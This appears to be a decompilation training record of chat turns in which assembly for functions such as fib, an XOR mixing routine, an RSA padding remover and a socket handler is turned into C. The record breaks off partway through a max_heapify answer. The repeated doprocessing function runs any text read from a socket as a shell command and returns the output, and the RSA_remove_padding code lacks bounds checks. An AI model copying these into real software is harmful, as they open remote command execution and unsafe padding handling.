ylfeng/ReF-Decompile-dataset huggingface dataset:
user: 请将这段汇编代码片段转换成等效的C代码:

```asm
<fib>:
  endbr64
  push   %r15
  mov    $0x1,%eax
  push   %r14
  push   %r13
  push   %r12
  push   %rbp
  push   %rbx
  sub    $0x38,%rsp
  mov    %edi,0x4(%rsp)
  movl   $0x0,0x8(%rsp)
  cmp    $0x1,%edi
  jle    L136
L88:
  mov    0x4(%rsp),%eax
  movl   $0x0,0xc(%rsp)
  sub    $0x1,%eax
  mov    %eax,(%rsp)
  cmp    $0x1,%eax
  je     L36
L5:
  mov    (%rsp),%eax
  movl   $0x0,0x10(%rsp)
  lea    -0x1(%rax),%r9d
  cmp    $0x1,%r9d
  je     L57
L42:
  lea    -0x1(%r9),%esi
  xor    %r8d,%r8d
  cmp    $0x1,%esi
  je     L53
L4:
  lea    -0x1(%rsi),%ebp
  xor    %ecx,%ecx
  cmp    $0x1,%ebp
  je     L79
L7:
  lea    -0x1(%rbp),%ebx
  xor    %r14d,%r14d
  mov    %ebx,%r10d
  cmp    $0x1,%ebx
  je     L106
L247:
  lea    -0x1(%r10),%edx
  xor    %ebx,%ebx
  cmp    $0x1,%edx
  je     L75
L26:
  lea    -0x1(%rdx),%r12d
  xor    %r15d,%r15d
  mov    %ebx,%r11d
  cmp    $0x1,%r12d
  je     L32
L103:
  lea    -0x1(%r12),%r13d
  xor    %ebx,%ebx
  cmp    $0x1,%r13d
  je     L249
L157:
  lea    -0x1(%r13),%edi
  mov    %edx,0x2c(%rsp)
  sub    $0x2,%r13d
  mov    %r10d,0x28(%rsp)
  mov    %r11d,0x24(%rsp)
  mov    %ecx,0x20(%rsp)
  mov    %r8d,0x1c(%rsp)
  mov    %esi,0x18(%rsp)
  mov    %r9d,0x14(%rsp)
  call   <fib>
  mov    0x14(%rsp),%r9d
  mov    0x18(%rsp),%esi
  add    %eax,%ebx
  cmp    $0x1,%r13d
  mov    0x1c(%rsp),%r8d
  mov    0x20(%rsp),%ecx
  mov    0x24(%rsp),%r11d
  mov    0x28(%rsp),%r10d
  mov    0x2c(%rsp),%edx
  jg     L157
  add    $0x1,%ebx
L140:
  sub    $0x2,%r12d
  add    %ebx,%r15d
  cmp    $0x1,%r12d
  jg     L103
  mov    %r11d,%ebx
  add    $0x1,%r15d
L185:
  sub    $0x2,%edx
  add    %r15d,%ebx
  cmp    $0x1,%edx
  jg     L26
  add    $0x1,%ebx
L241:
  sub    $0x2,%r10d
  add    %ebx,%r14d
  cmp    $0x1,%r10d
  jg     L247
  add    $0x1,%r14d
L38:
  sub    $0x2,%ebp
  add    %r14d,%ecx
  cmp    $0x1,%ebp
  jg     L7
  add    $0x1,%ecx
L151:
  sub    $0x2,%esi
  add    %ecx,%r8d
  cmp    $0x1,%esi
  jg     L4
  add    $0x1,%r8d
L37:
  sub    $0x2,%r9d
  add    %r8d,0x10(%rsp)
  cmp    $0x1,%r9d
  jg     L42
  mov    0x10(%rsp),%eax
  add    $0x1,%eax
L11:
  subl   $0x2,(%rsp)
  mov    (%rsp),%edi
  add    %eax,0xc(%rsp)
  cmp    $0x1,%edi
  jg     L5
  mov    0xc(%rsp),%eax
  add    $0x1,%eax
L36:
  subl   $0x2,0x4(%rsp)
  mov    0x4(%rsp),%edi
  add    %eax,0x8(%rsp)
  cmp    $0x1,%edi
  jg     L88
  mov    0x8(%rsp),%eax
  add    $0x1,%eax
L136:
  add    $0x38,%rsp
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  pop    %r14
  pop    %r15
  ret
L75:
  mov    $0x1,%ebx
  jmp    L241
  nopw   0x0(%rax,%rax,1)
L32:
  mov    $0x1,%r15d
  jmp    L185
  nopl   0x0(%rax,%rax,1)
L249:
  mov    $0x1,%ebx
  jmp    L140
L106:
  mov    $0x1,%r14d
  jmp    L38
L79:
  mov    $0x1,%ecx
  jmp    L151
L53:
  mov    $0x1,%r8d
  jmp    L37
L57:
  mov    $0x1,%eax
  jmp    L11
```

assistant: ```c
int fib(int n) {
  if (n < 2)
    return 1;
  else
    return fib(n - 1) + fib(n - 2);
}
```
user: Please show me the C implementation that matches the assembly code listed below:

```asm
<M>:
  endbr64
  mov    %rdi,%rax
  lea    0x20(%rdi),%rsi
  mov    %rdi,%rdx
L14:
  movzbl (%rdx),%ecx
  xor    %cl,0x4(%rdx)
  movzbl 0x1(%rdx),%ecx
  xor    %cl,0x5(%rdx)
  movzbl 0x2(%rdx),%ecx
  xor    %cl,0x6(%rdx)
  movzbl 0x3(%rdx),%ecx
  xor    %cl,0x7(%rdx)
  add    $0x8,%rdx
  cmp    %rsi,%rdx
  jne    L14
  lea    0x8(%rax),%r9
L11:
  movzbl (%rax),%edx
  movzbl 0x8(%rax),%ecx
  movzbl 0x10(%rax),%edi
  mov    %edx,%esi
  xor    %ecx,%esi
  mov    %esi,%r8d
  xor    0x18(%rax),%r8b
  mov    %r8b,(%rax)
  xor    %edi,%esi
  mov    %sil,0x8(%rax)
  xor    %edi,%ecx
  xor    0x18(%rax),%cl
  mov    %cl,0x10(%rax)
  xor    %edi,%edx
  xor    0x18(%rax),%dl
  mov    %dl,0x18(%rax)
  add    $0x1,%rax
  cmp    %r9,%rax
  jne    L11
  ret
```

assistant: ```c
void M(unsigned char *_m_) {
  int i;
  unsigned char t0, t1, t2, t3;
  for (i = 0; i < 32; i += 8) {
    _m_[i + 4] ^= _m_[i];
    _m_[i + 5] ^= _m_[i + 1];
    _m_[i + 6] ^= _m_[i + 2];
    _m_[i + 7] ^= _m_[i + 3];
  }
  for (i = 0; i < 8; i++) {
    t0 = _m_[i];
    t1 = _m_[i + 8];
    t2 = _m_[i + 16];
    t3 = _m_[i + 24];
    _m_[i] = t0 ^ t1 ^ t3;
    _m_[i + 8] = t1 ^ t2 ^ t0;
    _m_[i + 16] = t2 ^ t3 ^ t1;
    _m_[i + 24] = t3 ^ t0 ^ t2;
  }
}
```
user: Converte this assembly snippet into its equivalent C code:

```asm
<M>:
  endbr64
  mov    %rdi,%rax
  lea    0x20(%rdi),%rsi
  mov    %rdi,%rdx
L14:
  movzbl (%rdx),%ecx
  xor    %cl,0x4(%rdx)
  movzbl 0x1(%rdx),%ecx
  xor    %cl,0x5(%rdx)
  movzbl 0x2(%rdx),%ecx
  xor    %cl,0x6(%rdx)
  movzbl 0x3(%rdx),%ecx
  xor    %cl,0x7(%rdx)
  add    $0x8,%rdx
  cmp    %rdx,%rsi
  jne    L14
  lea    0x8(%rax),%r8
  cs nopw 0x0(%rax,%rax,1)
L7:
  movzbl (%rax),%edx
  movzbl 0x8(%rax),%ecx
  add    $0x1,%rax
  movzbl 0xf(%rax),%esi
  xor    %edx,%ecx
  xor    0x17(%rax),%cl
  mov    %cl,-0x1(%rax)
  movzbl 0x7(%rax),%ecx
  xor    %esi,%ecx
  mov    %ecx,%edi
  xor    0x17(%rax),%cl
  xor    %edx,%edi
  xor    %esi,%edx
  xor    0x17(%rax),%dl
  mov    %cl,0xf(%rax)
  mov    %dil,0x7(%rax)
  mov    %dl,0x17(%rax)
  cmp    %rax,%r8
  jne    L7
  ret
```

assistant: ```c
void M(unsigned char *_m_) {
  int i;
  unsigned char t0, t1, t2, t3;
  for (i = 0; i < 32; i += 8) {
    _m_[i + 4] ^= _m_[i];
    _m_[i + 5] ^= _m_[i + 1];
    _m_[i + 6] ^= _m_[i + 2];
    _m_[i + 7] ^= _m_[i + 3];
  }
  for (i = 0; i < 8; i++) {
    t0 = _m_[i];
    t1 = _m_[i + 8];
    t2 = _m_[i + 16];
    t3 = _m_[i + 24];
    _m_[i] = t0 ^ t1 ^ t3;
    _m_[i + 8] = t1 ^ t2 ^ t0;
    _m_[i + 16] = t2 ^ t3 ^ t1;
    _m_[i + 24] = t3 ^ t0 ^ t2;
  }
}
```
user: Translate the below assembly code into C programming language:

```asm
<M>:
  endbr64
  movdqu (%rdi),%xmm0
  movdqu 0x10(%rdi),%xmm5
  movdqa %xmm0,%xmm1
  shufps $0x88,%xmm5,%xmm0
  shufps $0xdd,%xmm5,%xmm1
  pxor   %xmm1,%xmm0
  pshufd $0x55,%xmm0,%xmm1
  movd   %xmm0,0x4(%rdi)
  movq   (%rdi),%xmm2
  movd   %xmm1,0xc(%rdi)
  movdqa %xmm0,%xmm1
  punpckhdq %xmm0,%xmm1
  pshufd $0xff,%xmm0,%xmm0
  movd   %xmm0,0x1c(%rdi)
  movq   0x18(%rdi),%xmm0
  movd   %xmm1,0x14(%rdi)
  movq   0x8(%rdi),%xmm1
  movq   0x10(%rdi),%xmm4
  movdqa %xmm0,%xmm3
  pxor   %xmm1,%xmm3
  pxor   %xmm4,%xmm1
  pxor   %xmm2,%xmm3
  movq   %xmm3,(%rdi)
  movdqa %xmm1,%xmm3
  pxor   %xmm0,%xmm1
  pxor   %xmm4,%xmm0
  pxor   %xmm2,%xmm3
  pxor   %xmm2,%xmm0
  movq   %xmm1,0x10(%rdi)
  movq   %xmm3,0x8(%rdi)
  movq   %xmm0,0x18(%rdi)
  ret
```

assistant: ```c
void M(unsigned char *_m_) {
  int i;
  unsigned char t0, t1, t2, t3;
  for (i = 0; i < 32; i += 8) {
    _m_[i + 4] ^= _m_[i];
    _m_[i + 5] ^= _m_[i + 1];
    _m_[i + 6] ^= _m_[i + 2];
    _m_[i + 7] ^= _m_[i + 3];
  }
  for (i = 0; i < 8; i++) {
    t0 = _m_[i];
    t1 = _m_[i + 8];
    t2 = _m_[i + 16];
    t3 = _m_[i + 24];
    _m_[i] = t0 ^ t1 ^ t3;
    _m_[i + 8] = t1 ^ t2 ^ t0;
    _m_[i + 16] = t2 ^ t3 ^ t1;
    _m_[i + 24] = t3 ^ t0 ^ t2;
  }
}
```
user: Demonstrate the C code that generates the assembly output below:

```asm
<doprocessing>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x1000,%rsp
  orq    $0x0,(%rsp)
  sub    $0x1000,%rsp
  orq    $0x0,(%rsp)
  sub    $0x30,%rsp
  mov    %edi,-0x2024(%rbp)
  mov    %fs:0x28,%rax
  mov    %rax,-0x8(%rbp)
  xor    %eax,%eax
  lea    -0x2010(%rbp),%rax
  mov    $0x1000,%esi
  mov    %rax,%rdi
  call   <bzero@plt>
  lea    -0x2010(%rbp),%rcx
  mov    -0x2024(%rbp),%eax
  mov    $0xfff,%edx
  mov    %rcx,%rsi
  mov    %eax,%edi
  call   <read@plt>
  mov    %eax,-0x201c(%rbp)
  cmpl   $0x0,-0x201c(%rbp)
  jns    L28
  lea    D39(%rip),%rax
  mov    %rax,%rdi
  call   <perror@plt>
  mov    $0x1,%edi
  call   <exit@plt>
L28:
  lea    -0x2010(%rbp),%rax
  lea    D11(%rip),%rdx
  mov    %rdx,%rsi
  mov    %rax,%rdi
  call   <popen@plt>
  mov    %rax,-0x2018(%rbp)
  cmpq   $0x0,-0x2018(%rbp)
  jne    L45
  lea    D33(%rip),%rax
  mov    %rax,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  jmp    L30
L39:
  lea    -0x1010(%rbp),%rax
  mov    %rax,%rsi
  lea    D23(%rip),%rax
  mov    %rax,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  lea    -0x1010(%rbp),%rax
  mov    %rax,%rdi
  call   <strlen@plt>
  mov    %eax,%edx
  lea    -0x1010(%rbp),%rcx
  mov    -0x2024(%rbp),%eax
  mov    %rcx,%rsi
  mov    %eax,%edi
  call   <write@plt>
L45:
  mov    -0x2018(%rbp),%rdx
  lea    -0x1010(%rbp),%rax
  mov    $0xfff,%esi
  mov    %rax,%rdi
  call   <fgets@plt>
  test   %rax,%rax
  jne    L39
  mov    -0x2018(%rbp),%rax
  mov    %rax,%rdi
  call   <pclose@plt>
L30:
  mov    -0x8(%rbp),%rax
  sub    %fs:0x28,%rax
  je     L0
  call   <__stack_chk_fail@plt>
L0:
  leave
  ret
```

tool_calls: name: read_data
arguments: data_tag: D39
data_type: string
name: read_data
arguments: data_tag: D11
data_type: string
name: read_data
arguments: data_tag: D33
data_type: string
name: read_data
arguments: data_tag: D23
data_type: string

tool: D39: ERROR reading from socket

tool: D11: r

tool: D33: Failed to run command.

tool: D23: %s

assistant: ```c
void doprocessing(int sock) {
  int n;
  char buffer[4096];
  bzero(buffer, 4096);
  n = read(sock, buffer, 4095);
  if (n < 0) {
    perror("ERROR reading from socket");
    exit(1);
  }
  FILE *fp = popen(buffer, "r");
  if (fp == NULL) {
    printf("Failed to run command.");
    return;
  }
  char buffersend[4096];
  while (fgets(buffersend, sizeof(buffersend) - 1, fp) != NULL) {
    printf("%s", buffersend);
    write(sock, buffersend, strlen(buffersend));
  }
  pclose(fp);
}
```
user: 请将以下的汇编代码转换成C语言代码：

```asm
<doprocessing>:
  endbr64
  push   %r13
  push   %r12
  push   %rbp
  push   %rbx
  sub    $0x1000,%rsp
  orq    $0x0,(%rsp)
  sub    $0x1000,%rsp
  orq    $0x0,(%rsp)
  sub    $0x18,%rsp
  mov    %edi,%r12d
  mov    %fs:0x28,%rax
  mov    %rax,0x2008(%rsp)
  xor    %eax,%eax
  mov    %rsp,%rbx
  mov    $0x1000,%esi
  mov    %rbx,%rdi
  call   <bzero@plt>
  mov    $0xfff,%edx
  mov    %rbx,%rsi
  mov    %r12d,%edi
  call   <read@plt>
  test   %eax,%eax
  js     L41
L39:
  mov    %rsp,%rdi
  lea    D35(%rip),%rsi
  call   <popen@plt>
  mov    %rax,%rbp
  lea    D13(%rip),%r13
  test   %rax,%rax
  jne    L20
  lea    D38(%rip),%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  jmp    L18
L41:
  lea    D7(%rip),%rdi
  call   <perror@plt>
  mov    $0x1,%edi
  call   <exit@plt>
  jmp    L39
L29:
  lea    0x1000(%rsp),%rbx
  mov    %rbx,%rsi
  mov    %r13,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  mov    %rbx,%rdi
  call   <strlen@plt>
  mov    %eax,%edx
  mov    %rbx,%rsi
  mov    %r12d,%edi
  call   <write@plt>
L20:
  lea    0x1000(%rsp),%rdi
  mov    %rbp,%rdx
  mov    $0xfff,%esi
  call   <fgets@plt>
  test   %rax,%rax
  jne    L29
  mov    %rbp,%rdi
  call   <pclose@plt>
L18:
  mov    0x2008(%rsp),%rax
  sub    %fs:0x28,%rax
  jne    L0
  add    $0x2018,%rsp
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  ret
L0:
  call   <__stack_chk_fail@plt>
```

tool_calls: name: parse_data
arguments: data_label: D35
type_guessed: string
name: parse_data
arguments: data_label: D13
type_guessed: string
name: parse_data
arguments: data_label: D38
type_guessed: string
name: parse_data
arguments: data_label: D7
type_guessed: string

tool: D35: r

tool: D13: %s

tool: D38: Failed to run command.

tool: D7: ERROR reading from socket

assistant: ```c
void doprocessing(int sock) {
  int n;
  char buffer[4096];
  bzero(buffer, 4096);
  n = read(sock, buffer, 4095);
  if (n < 0) {
    perror("ERROR reading from socket");
    exit(1);
  }
  FILE *fp = popen(buffer, "r");
  if (fp == NULL) {
    printf("Failed to run command.");
    return;
  }
  char buffersend[4096];
  while (fgets(buffersend, sizeof(buffersend) - 1, fp) != NULL) {
    printf("%s", buffersend);
    write(sock, buffersend, strlen(buffersend));
  }
  pclose(fp);
}
```
user: 提供的汇编代码用C语言表示会是什么样子:

```asm
<doprocessing>:
  endbr64
  push   %r13
  push   %r12
  push   %rbp
  push   %rbx
  sub    $0x1000,%rsp
  orq    $0x0,(%rsp)
  sub    $0x1000,%rsp
  orq    $0x0,(%rsp)
  sub    $0x18,%rsp
  mov    $0x1000,%esi
  mov    %fs:0x28,%rax
  mov    %rax,0x2008(%rsp)
  xor    %eax,%eax
  mov    %rsp,%rbp
  mov    %edi,%r12d
  mov    %rbp,%rdi
  call   <bzero@plt>
  mov    $0xfff,%edx
  mov    %rbp,%rsi
  mov    %r12d,%edi
  call   <read@plt>
  test   %eax,%eax
  js     L46
L7:
  mov    %rbp,%rdi
  lea    D39(%rip),%rsi
  lea    0x1000(%rsp),%rbx
  call   <popen@plt>
  lea    D28(%rip),%r13
  mov    %rax,%rbp
  test   %rax,%rax
  jne    L67
  jmp    L53
  nop
L21:
  mov    %rbx,%rsi
  mov    %r13,%rdi
  xor    %eax,%eax
  call   <printf@plt>
  mov    %rbx,%rdi
  call   <strlen@plt>
  mov    %rbx,%rsi
  mov    %r12d,%edi
  mov    %eax,%edx
  call   <write@plt>
L67:
  mov    %rbp,%rdx
  mov    $0xfff,%esi
  mov    %rbx,%rdi
  call   <fgets@plt>
  test   %rax,%rax
  jne    L21
  mov    %rbp,%rdi
  call   <pclose@plt>
L31:
  mov    0x2008(%rsp),%rax
  sub    %fs:0x28,%rax
  jne    L26
  add    $0x2018,%rsp
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  ret
L46:
  lea    D31(%rip),%rdi
  call   <perror@plt>
  mov    $0x1,%edi
  call   <exit@plt>
  jmp    L7
  nopl   0x0(%rax,%rax,1)
L53:
  lea    D4(%rip),%rdi
  xor    %eax,%eax
  call   <printf@plt>
  jmp    L31
L26:
  call   <__stack_chk_fail@plt>
```

tool_calls: name: parse_data
arguments: data_label: D39
data_type: string
name: parse_data
arguments: data_label: D28
data_type: string
name: parse_data
arguments: data_label: D31
data_type: string
name: parse_data
arguments: data_label: D4
data_type: string

tool: D39: r

tool: D28: %s

tool: D31: ERROR reading from socket

tool: D4: Failed to run command.

assistant: ```c
void doprocessing(int sock) {
  int n;
  char buffer[4096];
  bzero(buffer, 4096);
  n = read(sock, buffer, 4095);
  if (n < 0) {
    perror("ERROR reading from socket");
    exit(1);
  }
  FILE *fp = popen(buffer, "r");
  if (fp == NULL) {
    printf("Failed to run command.");
    return;
  }
  char buffersend[4096];
  while (fgets(buffersend, sizeof(buffersend) - 1, fp) != NULL) {
    printf("%s", buffersend);
    write(sock, buffersend, strlen(buffersend));
  }
  pclose(fp);
}
```
user: Demonstrate the C code that generates the assembly output below:

```asm
<doprocessing>:
  endbr64
  push   %r13
  push   %r12
  push   %rbp
  push   %rbx
  sub    $0x1000,%rsp
  orq    $0x0,(%rsp)
  sub    $0x1000,%rsp
  orq    $0x0,(%rsp)
  sub    $0x18,%rsp
  mov    $0x1000,%esi
  mov    %fs:0x28,%rax
  mov    %rax,0x2008(%rsp)
  xor    %eax,%eax
  mov    %rsp,%rbp
  mov    %edi,%r12d
  mov    %rbp,%rdi
  call   <bzero@plt>
  mov    $0xfff,%edx
  mov    %rbp,%rsi
  mov    %r12d,%edi
  call   <read@plt>
  test   %eax,%eax
  js     L28
L40:
  mov    %rbp,%rdi
  lea    D36(%rip),%rsi
  lea    0x1000(%rsp),%rbx
  call   <popen@plt>
  lea    D26(%rip),%r13
  mov    %rax,%rbp
  test   %rax,%rax
  jne    L37
  jmp    L51
  nop
L31:
  mov    %rbx,%rsi
  mov    %r13,%rdi
  xor    %eax,%eax
  call   <printf@plt>
  mov    %rbx,%rdi
  call   <strlen@plt>
  mov    %rbx,%rsi
  mov    %r12d,%edi
  mov    %eax,%edx
  call   <write@plt>
L37:
  mov    %rbp,%rdx
  mov    $0xfff,%esi
  mov    %rbx,%rdi
  call   <fgets@plt>
  test   %rax,%rax
  jne    L31
  mov    %rbp,%rdi
  call   <pclose@plt>
L6:
  mov    0x2008(%rsp),%rax
  sub    %fs:0x28,%rax
  jne    L5
  add    $0x2018,%rsp
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  ret
L28:
  lea    D5(%rip),%rdi
  call   <perror@plt>
  mov    $0x1,%edi
  call   <exit@plt>
  jmp    L40
  nopl   0x0(%rax,%rax,1)
L51:
  lea    D28(%rip),%rdi
  xor    %eax,%eax
  call   <printf@plt>
  jmp    L6
L5:
  call   <__stack_chk_fail@plt>
```

tool_calls: name: retrieve_data
arguments: label: D36
type: string
name: retrieve_data
arguments: label: D26
type: string
name: retrieve_data
arguments: label: D5
type: string
name: retrieve_data
arguments: label: D28
type: string

tool: D36: r

tool: D26: %s

tool: D5: ERROR reading from socket

tool: D28: Failed to run command.

assistant: ```c
void doprocessing(int sock) {
  int n;
  char buffer[4096];
  bzero(buffer, 4096);
  n = read(sock, buffer, 4095);
  if (n < 0) {
    perror("ERROR reading from socket");
    exit(1);
  }
  FILE *fp = popen(buffer, "r");
  if (fp == NULL) {
    printf("Failed to run command.");
    return;
  }
  char buffersend[4096];
  while (fgets(buffersend, sizeof(buffersend) - 1, fp) != NULL) {
    printf("%s", buffersend);
    write(sock, buffersend, strlen(buffersend));
  }
  pclose(fp);
}
```
user: 下面的汇编指令对应的C源代码是什么:

```asm
<RSA_remove_padding>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x30,%rsp
  mov    %rdi,-0x18(%rbp)
  mov    %rsi,-0x20(%rbp)
  mov    %edx,-0x24(%rbp)
  mov    %ecx,-0x28(%rbp)
  mov    -0x24(%rbp),%eax
  cltq
  lea    -0x1(%rax),%rdx
  mov    -0x18(%rbp),%rax
  add    %rdx,%rax
  movzbl (%rax),%eax
  mov    %al,-0x9(%rbp)
  movzbl -0x9(%rbp),%eax
  mov    %eax,%edi
  call   <malloc@plt>
  mov    %rax,-0x8(%rbp)
  movzbl -0x9(%rbp),%edx
  movzbl -0x9(%rbp),%ecx
  mov    -0x8(%rbp),%rax
  mov    %ecx,%esi
  mov    %rax,%rdi
  call   <memset@plt>
  movzbl -0x9(%rbp),%edx
  movzbl -0x9(%rbp),%ecx
  mov    -0x24(%rbp),%eax
  sub    %ecx,%eax
  movslq %eax,%rcx
  mov    -0x18(%rbp),%rax
  add    %rax,%rcx
  mov    -0x8(%rbp),%rax
  mov    %rax,%rsi
  mov    %rcx,%rdi
  call   <memcmp@plt>
  test   %rax,%rax
  je     L13
  mov    $0x0,%eax
  jmp    L21
L13:
  movzbl -0x9(%rbp),%edx
  mov    -0x24(%rbp),%eax
  sub    %edx,%eax
  cmp    %eax,-0x28(%rbp)
  jge    L5
  mov    $0x0,%eax
  jmp    L21
L5:
  movzbl -0x9(%rbp),%ecx
  mov    -0x24(%rbp),%eax
  sub    %ecx,%eax
  mov    %eax,%edx
  mov    -0x18(%rbp),%rcx
  mov    -0x20(%rbp),%rax
  mov    %rcx,%rsi
  mov    %rax,%rdi
  call   <memcpy@plt>
  movzbl -0x9(%rbp),%edx
  mov    -0x24(%rbp),%eax
  sub    %edx,%eax
L21:
  leave
  ret
```

assistant: ```c
int RSA_remove_padding(char *source, char *target, int sourceLen, int targetLen) {
  char *compare;
  unsigned char padding = *(source + (sourceLen - 1));
  compare = (char *)malloc(padding);
  memset(compare, padding, padding);
  if (memcmp(source + (sourceLen - padding), compare, padding) != 0)
    return 0;
  if (targetLen < sourceLen - padding)
    return 0;
  memcpy(target, source, sourceLen - padding);
  return sourceLen - padding;
}
```
user: 请从给定的汇编指令推导出C源代码：

```asm
<RSA_remove_padding>:
  endbr64
  push   %r15
  push   %r14
  push   %r13
  push   %r12
  push   %rbp
  push   %rbx
  sub    $0x8,%rsp
  mov    %rdi,%r12
  mov    %rsi,%r15
  mov    %edx,%ebx
  mov    %ecx,%r14d
  movslq %edx,%rax
  movzbl -0x1(%rdi,%rax,1),%ebp
  mov    %ebp,%edi
  call   <malloc@plt>
  mov    %rax,%r13
  mov    %ebp,%edx
  mov    %ebp,%esi
  mov    %rax,%rdi
  call   <memset@plt>
  sub    %ebp,%ebx
  movslq %ebx,%rdi
  add    %r12,%rdi
  mov    %ebp,%edx
  mov    %r13,%rsi
  call   <memcmp@plt>
  cmp    %r14d,%ebx
  jg     L6
  test   %rax,%rax
  je     L20
L6:
  mov    $0x0,%ebx
L14:
  mov    %ebx,%eax
  add    $0x8,%rsp
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  pop    %r14
  pop    %r15
  ret
L20:
  mov    %ebx,%edx
  mov    %r12,%rsi
  mov    %r15,%rdi
  call   <memcpy@plt>
  jmp    L14
```

assistant: ```c
int RSA_remove_padding(char *source, char *target, int sourceLen, int targetLen) {
  char *compare;
  unsigned char padding = *(source + (sourceLen - 1));
  compare = (char *)malloc(padding);
  memset(compare, padding, padding);
  if (memcmp(source + (sourceLen - padding), compare, padding) != 0)
    return 0;
  if (targetLen < sourceLen - padding)
    return 0;
  memcpy(target, source, sourceLen - padding);
  return sourceLen - padding;
}
```
user: 请从给定的汇编指令推导出C源代码：

```asm
<RSA_remove_padding>:
  endbr64
  push   %r15
  movslq %edx,%rax
  push   %r14
  mov    %rsi,%r14
  push   %r13
  push   %r12
  mov    %rax,%r12
  push   %rbp
  mov    %rdi,%rbp
  push   %rbx
  mov    %ecx,%ebx
  sub    $0x8,%rsp
  movzbl -0x1(%rdi,%rax,1),%r13d
  mov    %r13d,%edi
  sub    %r13d,%r12d
  call   <malloc@plt>
  mov    %r13d,%edx
  mov    %r13d,%esi
  mov    %rax,%rdi
  mov    %rax,%r15
  call   <memset@plt>
  movslq %r12d,%rdi
  mov    %r13d,%edx
  mov    %r15,%rsi
  add    %rbp,%rdi
  call   <memcmp@plt>
  cmp    %ebx,%r12d
  jg     L0
  test   %rax,%rax
  je     L19
L0:
  xor    %r12d,%r12d
L2:
  add    $0x8,%rsp
  mov    %r12d,%eax
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  pop    %r14
  pop    %r15
  ret
  nopw   0x0(%rax,%rax,1)
L19:
  mov    %r12d,%edx
  mov    %rbp,%rsi
  mov    %r14,%rdi
  call   <memcpy@plt>
  jmp    L2
```

assistant: ```c
int RSA_remove_padding(char *source, char *target, int sourceLen, int targetLen) {
  char *compare;
  unsigned char padding = *(source + (sourceLen - 1));
  compare = (char *)malloc(padding);
  memset(compare, padding, padding);
  if (memcmp(source + (sourceLen - padding), compare, padding) != 0)
    return 0;
  if (targetLen < sourceLen - padding)
    return 0;
  memcpy(target, source, sourceLen - padding);
  return sourceLen - padding;
}
```
user: 下面的汇编指令对应的C源代码是什么:

```asm
<RSA_remove_padding>:
  endbr64
  push   %r15
  movslq %edx,%rax
  push   %r14
  mov    %rsi,%r14
  push   %r13
  push   %r12
  mov    %rax,%r12
  push   %rbp
  mov    %rdi,%rbp
  push   %rbx
  mov    %ecx,%ebx
  sub    $0x8,%rsp
  movzbl -0x1(%rdi,%rax,1),%r13d
  mov    %r13d,%edi
  sub    %r13d,%r12d
  call   <malloc@plt>
  mov    %r13d,%edx
  mov    %r13d,%esi
  mov    %rax,%rdi
  mov    %rax,%r15
  call   <memset@plt>
  movslq %r12d,%rdi
  mov    %r13d,%edx
  mov    %r15,%rsi
  add    %rbp,%rdi
  call   <memcmp@plt>
  cmp    %ebx,%r12d
  jg     L15
  test   %rax,%rax
  je     L0
L15:
  xor    %r12d,%r12d
L21:
  add    $0x8,%rsp
  mov    %r12d,%eax
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  pop    %r14
  pop    %r15
  ret
  nopw   0x0(%rax,%rax,1)
L0:
  mov    %r12d,%edx
  mov    %rbp,%rsi
  mov    %r14,%rdi
  call   <memcpy@plt>
  jmp    L21
```

assistant: ```c
int RSA_remove_padding(char *source, char *target, int sourceLen, int targetLen) {
  char *compare;
  unsigned char padding = *(source + (sourceLen - 1));
  compare = (char *)malloc(padding);
  memset(compare, padding, padding);
  if (memcmp(source + (sourceLen - padding), compare, padding) != 0)
    return 0;
  if (targetLen < sourceLen - padding)
    return 0;
  memcpy(target, source, sourceLen - padding);
  return sourceLen - padding;
}
```
user: What would the C source look like for the assembly code provided here?

```asm
<max_heapify>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x20,%rsp
  mov    %rdi,-0x18(%rbp)
  mov    %esi,-0x1c(%rbp)
  mov    %edx,-0x20(%rbp)
  mov    -0x20(%rbp),%eax
  add    %eax,%eax
  add    $0x1,%eax
  mov    %eax,-0x8(%rbp)
  mov    -0x20(%rbp),%eax
  add    $0x1,%eax
  add    %eax,%eax
  mov    %eax,-0x4(%rbp)
  mov    -0x8(%rbp),%eax
  cmp    -0x1c(%rbp),%eax
  jge    L12
  mov    -0x8(%rbp),%eax
  cltq
  lea    0x0(,%rax,4),%rdx
  mov    -0x18(%rbp),%rax
  add    %rdx,%rax
  mov    (%rax),%edx
  mov    -0x20(%rbp),%eax
  cltq
  lea    0x0(,%rax,4),%rcx
  mov    -0x18(%rbp),%rax
  add    %rcx,%rax
  mov    (%rax),%eax
  cmp    %eax,%edx
  jle    L12
  mov    -0x8(%rbp),%eax
  mov    %eax,-0xc(%rbp)
  jmp    L46
L12:
  mov    -0x20(%rbp),%eax
  mov    %eax,-0xc(%rbp)
L46:
  mov    -0x4(%rbp),%eax
  cmp    -0x1c(%rbp),%eax
  jge    L4
  mov    -0x4(%rbp),%eax
  cltq
  lea    0x0(,%rax,4),%rdx
  mov    -0x18(%rbp),%rax
  add    %rdx,%rax
  mov    (%rax),%edx
  mov    -0xc(%rbp),%eax
  cltq
  lea    0x0(,%rax,4),%rcx
  mov    -0x18(%rbp),%rax
  add    %rcx,%rax
  mov    (%rax),%eax
  cmp    %eax,%edx
  jle    L4
  mov    -0x4(%rbp),%eax
  mov    %eax,-0xc(%rbp)
L4:
  mov    -0xc(%rbp),%eax
  cmp    -0x20(%rbp),%eax
  je     L0
  mov    -0xc(%rbp),%edx
  mov    -0x20(%rbp),%ecx
  mov    -0x18(%rbp),%rax
  mov    %ecx,%esi
  mov    %rax,%rdi
  call   <swap@plt>
  mov    -0xc(%rbp),%edx
  mov    -0x1c(%rbp),%ecx
  mov    -0x18(%rbp),%rax
  mov    %ecx,%esi
  mov    %rax,%rdi
  call   <max_heapify>
L0:
  nop
  leave
  ret
```

assistant: ```c
void max_heapify(int nums[], int heap_size, int i) {
  int l = 2 * i + 1;
